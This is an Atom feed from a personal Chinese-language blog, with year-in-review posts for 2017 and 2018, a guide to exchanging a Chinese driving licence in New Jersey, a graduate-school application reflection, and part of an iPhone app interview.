<?xml version="1.0" encoding="utf-8"?><feed xmlns="http://www.w3.org/2005/Atom"><title>Perfect Freeze!</title><subtitle>Perfect Freeze! | Cee's Blog v3.0</subtitle><updated>2019-01-28T04:28:34-08:00</updated><id>http://blog.cee.moe/</id><generator uri="https://sparanoid.com/lab/amsf/" version="1.1.8">Almace Scaffolding</generator><link rel="alternate" type="text/html" hreflang="en" href="http://blog.cee.moe/" /><link rel="self" type="application/atom+xml" href="http://blog.cee.moe/feed.xml" /><author><name>Cee</name><uri>http://blog.cee.moe/</uri><email>ceecirno@gmail.com</email></author><entry><title>Oh My 2018</title><id>http://blog.cee.moe/Oh-My-2018.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/Oh-My-2018.html" /><published>2018-12-31T00:00:00-08:00</published><updated>2019-01-28T04:09:59-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;変わる世界、
変わらない私。&lt;/p&gt;

&lt;h2 id=&quot;moments&quot;&gt;Moments&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt; 第一次在国外过年，跨年的时候正好在面 &lt;a href=&quot;https://tumblr.com&quot;&gt;Tumblr&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; 和郑老板的自由女神像之旅&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; &lt;a href=&quot;https://hacknyu.org&quot;&gt;HackNYU&lt;/a&gt; First Prize&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; &lt;a href=&quot;https://www.crafter.me&quot;&gt;Frank&lt;/a&gt; 走了&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4&lt;/strong&gt; 和腾壕、岛娘的日本 LongHash Hackathon&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5&lt;/strong&gt; 买了吉他&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5&lt;/strong&gt; 西海岸旅行&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6&lt;/strong&gt; 开始在 Tumblr 写 iOS&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7&lt;/strong&gt; Miku Expo 2018&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8&lt;/strong&gt; 搬家&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9&lt;/strong&gt; 换了纽约州驾照&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9&lt;/strong&gt; 秋招开始&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;10&lt;/strong&gt; 第一封 Offer，来自 &lt;a href=&quot;https://grubhub.com&quot;&gt;GrubHub&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;11&lt;/strong&gt; Chara Expo USA&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;11&lt;/strong&gt; 决定当一名 Googler 了&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;12&lt;/strong&gt; 决战 C95（三日）&lt;/p&gt;

&lt;h2 id=&quot;input--output&quot;&gt;Input &amp;amp; Output&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; Sony RX100 VI&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;-&lt;/strong&gt; iPhone 7 Plus (Jet Black)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; iPad Pro 12.9-inch (Space Gray)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;-&lt;/strong&gt; iPad Pro 10.5-inch (Silver)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; Sony WH-1000XM3 (Gray Silver)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;-&lt;/strong&gt; Sony MDR-1000X (Gray Silver)&lt;/p&gt;

&lt;h2 id=&quot;numbers&quot;&gt;Numbers&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;9,567 photos&lt;/li&gt;
  &lt;li&gt;0 posts (?)&lt;/li&gt;
  &lt;li&gt;2,853 twitter followers&lt;/li&gt;
  &lt;li&gt;760 instagram followers&lt;/li&gt;
  &lt;li&gt;11 books&lt;/li&gt;
  &lt;li&gt;245 contributions (only on GitHub)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;hall-of-fame&quot;&gt;Hall of Fame&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;年度 iOS 应用：&lt;a href=&quot;https://itunes.apple.com/us/app/picsew-screenshot-stitching/id1208145167?mt=8&quot;&gt;Picsew&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;年度 Mac 应用：&lt;a href=&quot;https://www.alfredapp.com&quot;&gt;Alfred 3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;最喜欢的游戏：N/A&lt;/li&gt;
  &lt;li&gt;最喜欢的番剧：&lt;a href=&quot;http://revuestarlight.com&quot;&gt;少女☆歌劇 レヴュースタァライト&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;最喜欢的歌手：N/A&lt;/li&gt;
  &lt;li&gt;最喜欢的歌曲：N/A&lt;/li&gt;
  &lt;li&gt;离不开的设备：iPhone X&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;the-next&quot;&gt;The Next&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;写完 One Clock！&lt;/li&gt;
  &lt;li&gt;努力找到另一半😘（真丢人，退群吧）&lt;/li&gt;
&lt;/ul&gt;

&lt;hr /&gt;

&lt;p&gt;PS：拖这么晚才发的原因是升级了系统 Ruby 挂了…没法生成静态网页&lt;/p&gt;

          
          
        
      
        </content><summary>Summary</summary></entry><entry><title>Oh My 2017</title><id>http://blog.cee.moe/Oh-My-2017.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/Oh-My-2017.html" /><published>2017-12-31T00:00:00-08:00</published><updated>2018-01-09T21:02:11-08:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;p&gt;合縁奇縁
一期一会&lt;/p&gt;

&lt;h2 id=&quot;moments&quot;&gt;Moments&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1&lt;/strong&gt; 在箱根，第一次泡温泉&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2&lt;/strong&gt; 在杭州见了 &lt;a href=&quot;https://twitter.com/liuyi0922&quot;&gt;61&lt;/a&gt;，聊了独立开发&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; &lt;a href=&quot;http://raventech.com&quot;&gt;渡鸦&lt;/a&gt;被百度收购&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3&lt;/strong&gt; 有学上了&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4&lt;/strong&gt; 和&lt;a href=&quot;https://twitter.com/BakeCom&quot;&gt;工藤&lt;/a&gt;去了趟香港&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4&lt;/strong&gt; 香港回来的第二天骑摩拜摔断了腿&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5&lt;/strong&gt; 深圳，@Swift Conf，当了次主持&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;5&lt;/strong&gt; 辞职回家&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;6&lt;/strong&gt; 美国面签&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;7&lt;/strong&gt; 补牙&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;8&lt;/strong&gt; ✈️ 去大美帝&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;9&lt;/strong&gt; 拿到了新泽西驾照&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;10&lt;/strong&gt; 万圣节&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;11&lt;/strong&gt; 北美音游群聚会&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;12&lt;/strong&gt; 无尽的作业和大作业&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;12&lt;/strong&gt; 暴雪&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;12&lt;/strong&gt; 决战 C93&lt;/p&gt;

&lt;h2 id=&quot;input--output&quot;&gt;Input &amp;amp; Output&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; iPad Pro 10.5-inch (Silver)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;-&lt;/strong&gt; Sony Z5 Dual (E6683)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; Sony WI-1000X (Black)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;+&lt;/strong&gt; iPhone X (Space Gray)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;-&lt;/strong&gt; iPhone 7 Plus (Jet Black)&lt;/p&gt;

&lt;h2 id=&quot;numbers&quot;&gt;Numbers&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;7,481 photos&lt;/li&gt;
  &lt;li&gt;4 posts&lt;/li&gt;
  &lt;li&gt;2,535 twitter followers&lt;/li&gt;
  &lt;li&gt;632 instagram followers&lt;/li&gt;
  &lt;li&gt;6 books&lt;/li&gt;
  &lt;li&gt;178 contributions (only on GitHub)&lt;/li&gt;
  &lt;li&gt;Maybe… almost wrote PHP &amp;amp; Java in this year&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;hall-of-fame&quot;&gt;Hall of Fame&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;年度 iOS 应用：&lt;a href=&quot;https://itunes.apple.com/us/app/goodnotes-4/id778658393?mt=8&quot;&gt;GoodNotes 4&lt;/a&gt;、&lt;a href=&quot;https://bang-dream.com/&quot;&gt;BanG Dream!（バンドリ！）&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;年度 Mac 应用：&lt;a href=&quot;https://itunes.apple.com/us/app/omnifocus-2/id867299399?mt=12&quot;&gt;OmniFocus for Mac&lt;/a&gt;、&lt;a href=&quot;http://airmailapp.com&quot;&gt;Airmail 3&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;最喜欢的游戏：&lt;a href=&quot;https://p.eagate.573.jp/game/sdvx/iv/p/index.html&quot;&gt;Sound Voltex&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;最喜欢的番剧：&lt;a href=&quot;https://tsukigakirei.jp/&quot;&gt;月がきれい&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;最喜欢的歌手：豚乙女、FELT（又回到了车万？）&lt;/li&gt;
  &lt;li&gt;最喜欢的歌曲：シュガーソングとビターステップ、打上花火、Shiny Ray&lt;/li&gt;
  &lt;li&gt;离不开的设备：iPad Pro with Apple Pencil&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;the-next&quot;&gt;The Next&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;找到一个好点的 Intern&lt;/li&gt;
  &lt;li&gt;多写一点 Side Project（17 年基本没怎么写）&lt;/li&gt;
  &lt;li&gt;努力找到另一半😘&lt;/li&gt;
&lt;/ul&gt;

          
          
        
      
        </content><summary>Summary</summary></entry><entry><title>免路考，用中国驾照换新泽西驾照</title><id>http://blog.cee.moe/how-to-get-the-nj-driving-license.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/how-to-get-the-nj-driving-license.html" /><published>2017-10-02T00:00:00-07:00</published><updated>2017-10-02T23:11:00-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;虽然说有很多很多篇文章&lt;sup id=&quot;fnref:1&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;sup id=&quot;fnref:2&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;sup id=&quot;fnref:3&quot;&gt;&lt;a href=&quot;#fn:3&quot; class=&quot;footnote&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;总结过了如何用中国驾照在 NJ 换取驾照，但是每次看到日期都是 15、16 年的时候，心里总是没有一点底。直到自己亲身实践拿到驾照（2017.09.28）之后才长叹一口气。这篇文章把所有关键的点再来总结一下，应该是全网最最最具体的 QA 解答了吧。&lt;/p&gt;

&lt;h2 id=&quot;去哪里换&quot;&gt;去哪里换&lt;/h2&gt;

&lt;p&gt;答案只有一个，North Bergen 的 DMV。其他 DMV 都已经没法再用中国的驾照免路考换了。&lt;/p&gt;

&lt;p&gt;地址：8901 Park Plaza, North Bergen, NJ 07047。&lt;/p&gt;

&lt;h2 id=&quot;怎么去&quot;&gt;怎么去&lt;/h2&gt;

&lt;p&gt;如果你在 NJ，直接公交或者朋友开车送你去吧。&lt;/p&gt;

&lt;p&gt;在 NY 的同学可以坐地铁到 42 街下车，去 Port Authority Bus Terminal 买一张 NJ Transit 的公交票，到 Bergenline Ave 或者 Fairview Ave &amp;amp; Grand St 下车。步行就能到 DMV 啦。&lt;/p&gt;

&lt;h2 id=&quot;准备材料&quot;&gt;准备材料&lt;/h2&gt;

&lt;p&gt;重中之重。准备好&lt;a href=&quot;http://www.state.nj.us/mvc/Licenses/6PointID.htm&quot;&gt;符合 New Jersey 的 6 Points ID Verification&lt;/a&gt;。NJ MVC 的官网同时也有&lt;a href=&quot;http://www.state.nj.us/mvc/Licenses/DocumentSelector/index.htm&quot;&gt;计算器&lt;/a&gt;来帮助大家查看证件。&lt;/p&gt;

&lt;p&gt;自己带了如下的 ID 证明文件：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Passport&lt;/li&gt;
  &lt;li&gt;I-94&lt;/li&gt;
  &lt;li&gt;I-20&lt;/li&gt;
  &lt;li&gt;Student ID Card&lt;/li&gt;
  &lt;li&gt;University / College Transcript&lt;/li&gt;
  &lt;li&gt;Social Security Denial Letter / SSN Card&lt;/li&gt;
  &lt;li&gt;Bank Statement (in 90 days)&lt;/li&gt;
  &lt;li&gt;Debit Card&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;此外，需要提前准备好中国驾照以及对应的翻译公证证明。具体可以点进&lt;a href=&quot;http://www.njcourts.gov/public/assets/langSrvcs/registrytelagency.pdf&quot;&gt;这个链接&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&quot;关于笔试&quot;&gt;关于笔试&lt;/h2&gt;

&lt;p&gt;和国内考科目一和科目四差不多，在 NJ 是从 50 道题中回答对 40 道就算通过了笔试。&lt;/p&gt;

&lt;p&gt;准备笔试题目一定要好好通读 &lt;a href=&quot;http://www.state.nj.us/mvc/pdf/Manuals/drivermanual.pdf&quot;&gt;MVC 官方的 Manual&lt;/a&gt;。如果想再做做题目的话安利 https://driving-tests.org 这个网站。虽然题目不全但是能熟悉一下很多数字和题型。&lt;/p&gt;

&lt;h2 id=&quot;换驾照流程&quot;&gt;换驾照流程&lt;/h2&gt;

&lt;p&gt;最繁琐的事情就是考试当日的操作。先看一下 North Bergen DMV 的平面图。&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2017/10/03/59d31d6f3ae62.png&quot; alt=&quot;平面图&quot; /&gt;&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;进门右转到 Reception，和工作人员说过来考理论，领表，填写完整。注意是选择初次。&lt;/li&gt;
  &lt;li&gt;到 ID Check Area，检查 6 分证明并提交表格。人多的时候会给一个小牌子，让你在休息区等人叫号，否则直接到休息区中间的队伍排队。&lt;/li&gt;
  &lt;li&gt;轮到你的时候到某个窗口，重新检查 6 分证明。交钱、拍照，领一张考试的许可证明，可以去考试区右边排队了。&lt;/li&gt;
  &lt;li&gt;叫到号之后在 Vision Test Area 进行视力检查。通过之后关掉手机进考场考试。&lt;/li&gt;
  &lt;li&gt;通过考试后工作人员会叫你过去。把翻译公证件给工作人员查看，通过后会给一张领驾照的单子。&lt;/li&gt;
  &lt;li&gt;填写完整之后重复步骤 2 和 3，拿到驾照。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;整个换驾照的时间会比较的漫长，最好填饱肚子再去比较合适。不过边上就有 Burger King 还是很人性化的。&lt;/p&gt;

&lt;div class=&quot;footnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;http://www.1point3acres.com/bbs/thread-137067-1-1.html&quot;&gt;New Jersey 中国驾照换美国驾照终极攻略！&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot;&gt;&amp;#8617;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;http://bbs.gter.net/thread-1815994-1-1.html&quot;&gt;新泽西中国驾照免路考换 NJ 驾照经验&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot;&gt;&amp;#8617;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:3&quot;&gt;
      &lt;p&gt;&lt;a href=&quot;http://www.moonbbs.com/thread-1212729-1-1.html&quot;&gt;用国内驾照免路考换新泽西州驾照全套攻略&lt;/a&gt;&amp;nbsp;&lt;a href=&quot;#fnref:3&quot; class=&quot;reversefootnote&quot;&gt;&amp;#8617;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;

          
          
        
      
        </content><summary>虽然说有很多很多篇文章123总结过了如何用中国驾照在 NJ 换取驾照，但是每次看到日期都是 15、16 年的时候，心里总是没有一点底。直到自己亲身实践拿到驾照（2017.09.28）之后才长叹一口气。这篇文章把所有关键的点再来总结一下，应该是全网最最最具体的 QA 解答了吧。            New Jersey 中国驾照换美国驾照终极攻略！&amp;nbsp;&amp;#8617;&amp;#xfe0e;              新泽西中国驾照免路考换 NJ 驾照经验&amp;nbsp;&amp;#8617;&amp;#xfe0e;              用国内驾照免路考换新泽西州驾照全套攻略&amp;nbsp;&amp;#8617;&amp;#xfe0e;      </summary></entry><entry><title>写在申请季之后</title><id>http://blog.cee.moe/After-Applying-For-Graduate-School.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/After-Applying-For-Graduate-School.html" /><published>2017-05-09T00:00:00-07:00</published><updated>2017-05-09T02:15:11-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;p&gt;立夏，也立了自己的目标。交完了 500 刀的占位费，自己的内心也不再这么迷茫，决定了，就是 NYU 了。&lt;/p&gt;

&lt;h3 id=&quot;背景&quot;&gt;背景&lt;/h3&gt;

&lt;p&gt;正如很久没有改过的&lt;a href=&quot;http://blog.cee.moe/about/&quot;&gt;简介页面&lt;/a&gt;写的那样，大四的时候就有出国的打算了。可是也恰好就在这时查出了自己的心脏有先天性的问题&lt;sup id=&quot;fnref:1&quot;&gt;&lt;a href=&quot;#fn:1&quot; class=&quot;footnote&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;，在 12 月的生日前时候做了个&lt;a href=&quot;http://blog.cee.moe/Oh-My-2015.html&quot;&gt;心脏手术&lt;/a&gt;。家里也因为这个原因坚持让我在家里修养一年，等治疗稳定了再出国上学。考虑到身体的问题，自己也是默默的妥协了。&lt;/p&gt;

&lt;p&gt;毕业之后进了一家不大也不小的公司，忙的时候忙，闲的时候也闲。这一年下来病情也没有再次发作，也就是说经历了手术之后已经完全治愈了&lt;sup id=&quot;fnref:2&quot;&gt;&lt;a href=&quot;#fn:2&quot; class=&quot;footnote&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;。伴随着家里的催促声和自己在心底的阵阵呼喊打气，下定了决心，继续踏上求学之路。&lt;/p&gt;

&lt;h3 id=&quot;准备&quot;&gt;准备&lt;/h3&gt;

&lt;p&gt;美帝求学的准备材料还是比较复杂的。作为一个已经毕业的工作狗，申请的要求会和在校时期准备的内容有细微的差别。具体的话包括了以下列举的几大内容：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;大学阶段的中英文成绩单（GPA）：学校或者是学位网认证过的，可能需要官方的信封邮寄；&lt;/li&gt;
  &lt;li&gt;大学的中英文学位和学历证书：能够证明你毕业和你的专业；&lt;/li&gt;
  &lt;li&gt;TOEFL 成绩；&lt;/li&gt;
  &lt;li&gt;GRE 成绩；&lt;/li&gt;
  &lt;li&gt;CV：个人简历；&lt;/li&gt;
  &lt;li&gt;PS：个人陈述，所谓的文书；&lt;/li&gt;
  &lt;li&gt;RL：推荐信。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;对于工作狗，可能需要专门再回一趟学校来准备成绩单和学历学位证书（自己是在毕业的时候就提前准备好了）。如果说没有考 TOEFL 和 GRE 的话，恭喜你，在中国抢考位的难度堪比 12306 春运时期的抢票。所以前四样是越早准备越早考完就好。自己的 GPA 和 T、G 成绩都不怎么好看，在这里就不透露了（捂脸）。&lt;/p&gt;

&lt;p&gt;关于最后的三样，其实是用来弥补之前 GPA 或者考试成绩的一些不足。CV 能提现出一个人的经历和获奖情况；PS 也是一方面表现自己，另一方面也要提现出求学的渴望，对未来学校和工作的期望；RL 能够请到好的导师或者是上级来帮自己证明实力，那是最好不过的了。&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Tips：这些材料的准备多多少少得花一段时间进行准备，尽早是最好的！&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;撇开成绩的问题，准备材料中遇到几个问题会让自己很头疼：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;工作狗的 CV 经常会改：自己做过的项目和内容在不断变化，得写自己最最最擅长的东西；&lt;/li&gt;
  &lt;li&gt;PS 的内容因为学校的不同而作适当的调整，最好是先写一个大致的框架，根据学校和专业的不同往上面填东西；&lt;/li&gt;
  &lt;li&gt;推荐信找不到老师来帮你写🤣，或者说老师们都懒得写；&lt;/li&gt;
  &lt;li&gt;有的学校可能会要求 WES 的成绩认证或者学位网的学位学历公正，快递回来巨坑无比。&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;申请&quot;&gt;申请&lt;/h3&gt;

&lt;p&gt;材料准备齐全，就可以准备申请了。用一个 Excel（或者 Numbers）表格记录一下申请学校的网址，注册填写个人资料即可。部分学校需要邮寄材料的就按照指示邮寄就行&lt;/p&gt;

&lt;p&gt;在这边还是列举一下 Tips：&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;使用 OmniFocus 或者一些任务管理软件跟踪申请的步骤和内容；&lt;/li&gt;
  &lt;li&gt;用一张表格或者文本替换来快速输入个人信息（比如电话、家庭信息等等）；&lt;/li&gt;
  &lt;li&gt;付款请准备好几张信用卡：有些学校的付款方式比较诡异，不认 AmEx 的信用卡；&lt;/li&gt;
  &lt;li&gt;快递的话强烈推荐顺丰、EMS 以及 FedEx；&lt;/li&gt;
  &lt;li&gt;敦促你的导师或者是上级在填写完申请后快点发推荐信😄。&lt;/li&gt;
&lt;/ol&gt;

&lt;h3 id=&quot;等待和收获&quot;&gt;等待和收获&lt;/h3&gt;

&lt;p&gt;一月份的时候在日本提交了所有的申请。本以为填表是一件枯燥乏味的事情，结果发现每天刷邮件才是一种真正的煎熬。盼星星盼月亮，每天早上起来都会去邮箱里看一下有没有学校给自己发 Ad。三月，终于在吃了一连串拒信的时候来了第一封 Ad。&lt;/p&gt;

&lt;p&gt;最终：&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Decision: CS@&lt;strong&gt;NYU Tandon&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Ad: CS@&lt;strong&gt;NEU&lt;/strong&gt;, CS@&lt;strong&gt;UPenn&lt;/strong&gt;, CS@&lt;strong&gt;NYU Tandon&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Rej: CS@&lt;strong&gt;NYU GSAS&lt;/strong&gt;, CSE@&lt;strong&gt;USC&lt;/strong&gt;, CS@&lt;strong&gt;UCI&lt;/strong&gt;, CSE@&lt;strong&gt;NEU&lt;/strong&gt;, CS@&lt;strong&gt;Rice&lt;/strong&gt;&lt;/li&gt;
  &lt;li&gt;Pending: CSE@&lt;strong&gt;CMU&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;不是很好看的成绩，但是对得起自己的付出了吧！&lt;/p&gt;

&lt;h3 id=&quot;还没有结束&quot;&gt;还没有结束&lt;/h3&gt;

&lt;p&gt;申请季结束，也是意味着自己人生的一个新的开始。&lt;/p&gt;

&lt;p&gt;即将辞去工作，重新拥抱学校的学习生活。&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;又是一个人，一座陌生的城市，一段奇妙的旅程。&lt;/strong&gt;&lt;/p&gt;

&lt;iframe width=&quot;800&quot; height=&quot;450&quot; src=&quot;https://www.youtube.com/embed/LlRZgwz8c_M&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;div class=&quot;footnotes&quot;&gt;
  &lt;ol&gt;
    &lt;li id=&quot;fn:1&quot;&gt;
      &lt;p&gt;具体的心脏问题叫「阵发性室上性心动过速（Paroxysmal supraventricular tachycardia，PSVT）」，是由心室之外的其他心肌组织发放电冲动所引起的规则且快速心动（每分钟 160 到 200 次）、突发或突止的心律不齐。&amp;nbsp;&lt;a href=&quot;#fnref:1&quot; class=&quot;reversefootnote&quot;&gt;&amp;#8617;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
    &lt;li id=&quot;fn:2&quot;&gt;
      &lt;p&gt;大约有 3% 的可能性是手术后一年内可能需要再次手术或者植入心脏起搏器。&amp;nbsp;&lt;a href=&quot;#fnref:2&quot; class=&quot;reversefootnote&quot;&gt;&amp;#8617;&amp;#xfe0e;&lt;/a&gt;&lt;/p&gt;
    &lt;/li&gt;
  &lt;/ol&gt;
&lt;/div&gt;

          
          
        
      
        </content><summary>立夏，也立了自己的目标。交完了 500 刀的占位费，自己的内心也不再这么迷茫，决定了，就是 NYU 了。</summary></entry><entry><title>装了啥 | 其实我也不知道手机里装了啥，直到写了这篇文章</title><id>http://blog.cee.moe/Apps-Inside-iPhone.html</id><link rel="alternate" type="text/html" href="http://blog.cee.moe/Apps-Inside-iPhone.html" /><published>2017-04-27T00:00:00-07:00</published><updated>2017-04-27T20:44:46-07:00</updated><author><name>Cee</name><uri>http://cee.moe/</uri><email>ceecirno@gmail.com</email></author><content type="html" xml:base="http://blog.cee.moe/">
          
            &lt;blockquote&gt;
  &lt;p&gt;本文首发于少数派，原文链接：https://sspai.com/post/38970。转载请说明出处。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&quot;q1-简单介绍一下你自己&quot;&gt;Q1. 简单介绍一下你自己。&lt;/h2&gt;

&lt;p&gt;大家好，我叫 Cee。现在是一名开发工程师（大概算半个 Growth Hacker），也是一名独立开发者。现在在渡（bai）鸦（du）工作，即将出国继续读 CS 方向的研究生。&lt;/p&gt;

&lt;h2 id=&quot;q2-哪些-app-对你的工作--学习--生活最重要提供一下你的主屏列举一些-app建议不超过-3-个&quot;&gt;Q2. 哪些 App 对你的工作 / 学习 / 生活最重要？（提供一下你的主屏，列举一些 App，建议不超过 3 个）&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;https://ooo.0o0.ooo/2017/04/27/5901bc7b03670.jpg&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;主屏幕上的 App 并不是特别的多，主要分为几类：社交、照片、支付、日常以及娱乐。可以说这些应用基本上每天都会打开一下。最最最常用的可能就是放在 Dock 上的四个应用：&lt;strong&gt;Expense&lt;/strong&gt;、&lt;strong&gt;Telegram&lt;/strong&gt;（自己在用 Swift 重写的 Beta 版本）、&lt;strong&gt;OmniFocus&lt;/strong&gt; 以及 &lt;strong&gt;Safari&lt;/strong&gt;。不要介意主屏幕上有那么多小红点，自己对他们并不感冒。&lt;/p&gt;

&lt;h2 id=&quot;q3-那么能否具体说说你是如何使用这些-app-的呢&quot;&gt;Q3. 那么，能否具体说说你是如何使用这些 App 的呢？&lt;/h2&gt;

&lt;p&gt;首先介绍一下 &lt;strong&gt;Expense&lt;/strong&gt;。Expense 是让我一直坚持记账的一款软件。它的界面非常的清爽简洁，而且只有记账功能，并不像其他的记账应用花里胡哨，还有各种广告。当你吃完饭、买买买刷完卡的时候，使用 Expense 记上一笔，就知道这个月——又没钱了。&lt;/p&gt;

&lt;p&gt;其次是 &lt;strong&gt;Telegram&lt;/strong&gt;。作为一款需要〇〇的实时 IM 软件，无论从界面还是功能来说，Telegram 都秒杀微信、QQ 几个大街（尤其是贴纸表情的管理）。当主要的联系人都在 Telegram 上后，你就发现开微信和 QQ 也就只有谈工作上的事情了。&lt;del&gt;如果说 Telegram 再支持个收付款的功能，那就更好了。&lt;/del&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;OmniFocus&lt;/strong&gt;，一款老牌的 GTD 应用。在 Mac 上也有对应的版本可以下载。用于生活和学习的任务管理。对于自控能力比较差，或者是经常忘记做事情的同学来说，OmniFocus 绝对是神器。少数派也有太多太多介绍 OmniFocus 的文章了，这里也不再赘述。&lt;/p&gt;

